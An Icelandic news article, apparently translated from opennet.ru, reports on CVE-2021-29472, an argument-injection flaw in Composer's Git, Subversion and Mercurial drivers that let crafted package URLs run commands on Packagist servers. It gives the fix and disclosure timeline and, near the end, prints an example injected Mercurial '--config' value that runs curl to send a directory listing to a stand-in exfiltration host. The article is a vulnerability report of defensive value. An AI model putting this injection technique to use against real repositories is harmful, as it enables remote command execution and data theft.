Varnarleysi í Composer pakkastjóranum sem leyfir málamiðlun á Packagist PHP geymslunni

Mikilvægur varnarleysi (CVE-2021-29472) hefur verið auðkenndur í Composer dependency manager sem gerir kleift að framkvæma handahófskenndar skipanir á kerfinu þegar unnið er úr pakka með sérsniðnu URL gildi sem tilgreinir heimilisfangið til að hlaða niður frumkóðann. Vandamálið kemur upp í GitDriver, SvnDriver og HgDriver íhlutunum sem notaðir eru þegar Git, Subversion og Mercurial uppspretta stýrikerfi eru notuð. Varnarleysið var leyst í Composer útgáfum 1.10.22 og 2.0.13.

Það er sérstaklega tekið fram að málið hafði fyrst og fremst áhrif á sjálfgefna pakkageymslu Composer, Packagist, sem inniheldur 306 pakka fyrir PHP forritara og þjónar meira en 1.4 milljörðum niðurhala á mánuði. Tilraunin sýndi að ef vitneskja væri um vandamálið gætu árásarmenn náð stjórn á Packagist innviðum og stöðvað skilríki viðhaldsaðila eða beina niðurhali pakka á þriðju aðila netþjón og skipulagt afhendingu pakkaafbrigða með skaðlegum breytingum í staðinn fyrir bakdyr. meðan á uppsetningarferlinu stendur.

Hættan fyrir endanotendur er takmörkuð við þá staðreynd að innihald composer.json er venjulega ákvarðað af notandanum og upprunatenglar eru sendir þegar aðgangur er að geymslum þriðju aðila, sem venjulega eru áreiðanlegar. Helsta höggið féll á Packagist.org geymsluna og Private Packagist þjónustuna, sem kallaði Composer með flutningi gagna sem berast frá notendum. Árásarmenn gætu framkvæmt kóðann sinn á Packagist netþjónum með því að setja sérhannaðan pakka.

Packagist teymið lagaði varnarleysið innan 12 klukkustunda frá því að tilkynnt var um varnarleysið. Rannsakendur létu Packagist hönnuði vita 22. apríl og vandamálið var lagað sama dag. Opinber uppfærsla á Composer sem tók á veikleikanum var birt 27. apríl, með smáatriðum birt 28. apríl. Úttekt á annálum á Packagist netþjónum leiddi ekki í ljós grunsamlega virkni sem tengdist varnarleysinu.

Vandamálið stafar af villu í staðfestingarkóða vefslóðar í rót composer.json skránni og hlekkjum til að hlaða niður uppruna. Villan hefur verið til staðar í kóðanum síðan í nóvember 2011. Packagist notar sérstök lög til að skipuleggja hleðslu kóða án þess að vera bundin við tiltekið upprunastýringarkerfi, sem eru keyrð með því að kalla „fromShellCommandline“ og senda skipanalínurök. Til dæmis, fyrir git, er skipunin „git ls-remote -heads $URL“ kölluð, þar sem slóðin er unnin með „ProcessExecutor::escape($url)“ aðferðinni, sem sleppur við hugsanlega hættulegar smíði eins og „$(. ..)" eða "` ...`".

Kjarni vandans er sá að ProcessExecutor::escape aðferðin slapp ekki við „—“ röðina, sem gerði það kleift að tilgreina allar viðbótarkallbreytur í vefslóðinni. Slíka flótta vantaði í GitDriver.php, SvnDriver.php og HgDriver.php reklana. GitDriver.php árásin var hindruð af þeirri staðreynd að „git ls-remote“ skipunin studdi ekki að tilgreina viðbótarrök eftir slóðina. Árás á HgDriver.php reyndist möguleg með því að senda „--config“ færibreytuna í „hq“ tólið, sem gerir þér kleift að skipuleggja framkvæmd hvaða skipunar sem er með því að nota „alias.identify“ stillinguna. Til dæmis, til að hlaða niður og keyra kóða með því að keyra curl tólið, gætirðu tilgreint: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Með því að birta prufupakka með svipaðri slóð og Packagist, staðfestu rannsakendur að eftir að hafa verið birt, fékk netþjónn þeirra HTTP beiðni frá einum af Packagist netþjónunum í AWS sem inniheldur skrá yfir skrár í núverandi möppu.

Heimild: opennet.ru

Bæta við athugasemd